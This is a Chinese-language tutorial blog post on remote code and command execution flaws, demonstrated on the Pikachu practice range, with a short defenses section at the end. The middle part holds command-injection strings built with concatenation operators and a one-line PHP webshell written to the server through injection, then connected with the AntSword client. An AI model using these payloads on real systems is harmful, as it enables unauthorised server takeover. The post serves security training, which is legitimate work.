【网络安全】-rce漏洞-pikachu

rce漏洞包含命令执行漏洞与代码执行漏洞

文章目录

前言 什么是rce漏洞?

1.rce漏洞产生原因:

2.rce的分类:

命令执行漏洞:

命令拼接符:

常用函数:

代码执行漏洞:

常用函数:

分类:

3.防御措施:

总结


前言 什么是rce漏洞?

由于应用程序在处理用户输入时未能正确验证、过滤或限制输入数据,导致hacker能通过网络在目标系统上执行任意代码或命令,从而完全控制受影响的系统。


1.rce漏洞产生原因:

在研发员开发中,为了考虑代码的灵活性与简洁性,会调用能将字符串转化成代码的函数去处理,但是研发员调用这些函数,没有考虑hacker能控制这个字符串或命令,造成代码执行漏洞与命令执行漏。

2.rce的分类:

命令执行漏洞:

实例:pikachu靶场

输入:127.0.0.1

输入:恶意命令whoami查看隐私信息:

报错。

但是我们用命令拼接符&拼接:127.0.0.1&whoami (ping 127.0.0.1 正确命令 & whoami 正确命令(限制))

输出whoami信息,说明服务器对输入的恶意命令做了限制,但我们可以进行命令拼接绕过限制,输入我们的恶意命令。

命令拼接符:

定义:把两条以上的命令拼接在一起的特殊符号。

Windows系统命令拼接符:

&:拼接符两边只要有一个为真就执行

实例:

回显本地ip地址

ifconfig&whoami (ifconfig Lunx命令 错误命令 & 正确命令(限制))

&&:命令拼接符拼接多个命令时,遇到假的终止执行

ifconfig&&whoami (ifconfig Lunx命令 错误命令 & 正确命令(限制))

|:命令拼接符拼接多个命令时,只要有一个为假都不执行; 如果为真都执行,但只是回显最后一个命令的运行结果;

Ifconfig|127.0.0.1 (ifconfig Lunx命令 错误命令 & 正确命令)

127.0.0.1|ifconfig (ping 127.0.0.1 正确命令 &(ifconfig Lunx命令 错误命令))

直接返回如下页面:

127.0.0.1|whoami (ping 127.0.0.1 正确命令 & whoami 正确命令(限制))

||:命令拼接符拼接多个命令时,按顺序执行,遇到真的就执行且只执行一次;

ifconfig||127.0.0.1 (ifconfig Lunx命令 错误命令 & 正确命令)

127.0.0.1||ifconfig (ping 127.0.0.1 正确命令 &(ifconfig Lunx命令 错误命令))

127.0.0.1||whoami (ping 127.0.0.1 正确命令 & whoami 正确命令(限制))

Linux系统命令拼接符:

;:无论拼接的命令为真还是为假都按照顺序执行命令;

&:无论命令为真或者为假,都执行但不按照顺序执行;

&&:如果都为真时按照顺序执行;如果存在假的测终止执行

||:按顺序执行,遇到真的就执行且只执行一次;

常用函数:

system()函数:执行外部程序并显示输出

exec()函数:执行一个外部程序

shell_exec()函数:通过shell环境执行命令,并以字符串的形式返回输出

passthru()函数:执行外部命令并显示原始输出

pentl_exec函数:在当前进程空间执行指定程序

代码执行漏洞:
常用函数:

eval(),assert()函数:把字符串作为PHP代码执行

call_user_func()函数:把第一参数作为回调函数

call user func array()函数:调用回调函数,并把第一个数组参数作为回函调数的参数

arry_map()函数:为数组的每个元素应用回调函数

分类:

本地代码执行漏洞:利用本地漏洞来执行恶意代码。

必须先获得对目标系统的部分访问权限,通常是通过物理访问或已有账户登录,进入服务器后,找到输入框来执行恶意代码。

远程代码执行漏洞:从互联网执行恶意代码,

它允许攻击者不受限制地控制目标系统。

不需要物理访问或现有访问权限,它允许hacker不受限制地控制目标系统。

实例:pikachu远程代码执行命令:

rec_php文件,直接解析php代码试试?

用phpinfo();代码:

解析成功。

我们还可以进一步操作拿到webshell:

步骤:在rce_ping.php中输入127.0.0.1 &dir查看文件

有rce_php,rce_eval.php,rce_ping.php,说明我们要是上传一个码子上去,与,rce_eval.php路径相同。

开搞:127.0.0.1 & echo "<?php @eval($_POST[cmd]); ?>" > rce1.php //码子

再次在rce_ping.php中输入127.0.0.1 &dir查看文件,可以看到我们的码子

然后输入url验证一下:

因为码子上与,rce_eval.php路径相同。

rce_eval.php路径:http://pikachu-master/vul/rce/rce_eval.php

码子路径: http://pikachu-master/vul/rce/rce1.php

用中国蚁剑连接:

步骤:右键,添加数据。

只管url地址:码子的url

连接密码:一句话木马<?php @eval($_POST[cmd]); ?>中[ ]里的cmd.

点击测试连接显示连接成功。

3.防御措施:

输入验证和过滤:确保所有用户输入都经过严格的验证和过滤,避免恶意数据进入系统。

启用防御性编程:在开发中使用安全的编码实践,例如避免直接执行用户输入的命令或查询。

使用沙箱技术:将应用程序运行在受限的环境中,防止恶意代码影响整个系统。


总结

RCE漏洞是一种严重的安全漏洞类型,对系统安全构成重大威胁。

相关推荐
水银嘻嘻6 小时前
12 web 自动化之基于关键字+数据驱动-反射自动化框架搭建
运维·前端·自动化
神经毒素6 小时前
WEB安全--Java安全--shiro721反序列化漏洞
安全·web安全
小嘟嚷ovo6 小时前
h5,原生html,echarts关系网实现
前端·html·echarts
十一吖i6 小时前
Vue3项目使用ElDrawer后select方法不生效
前端
只可远观6 小时前
Flutter目录结构介绍、入口、Widget、Center组件、Text组件、MaterialApp组件、Scaffold组件
前端·flutter
周胡杰7 小时前
组件导航 (HMRouter)+flutter项目搭建-混合开发+分栏效果
前端·flutter·华为·harmonyos·鸿蒙·鸿蒙系统
敲代码的小吉米7 小时前
前端上传el-upload、原生input本地文件pdf格式(纯前端预览本地文件不走后端接口)
前端·javascript·pdf·状态模式
是千千千熠啊7 小时前
vue使用Fabric和pdfjs完成合同签章及批注
前端·vue.js
九月TTS7 小时前
TTS-Web-Vue系列:组件逻辑分离与模块化重构
前端·vue.js·重构
我是大头鸟8 小时前
SpringMVC 内容协商处理
前端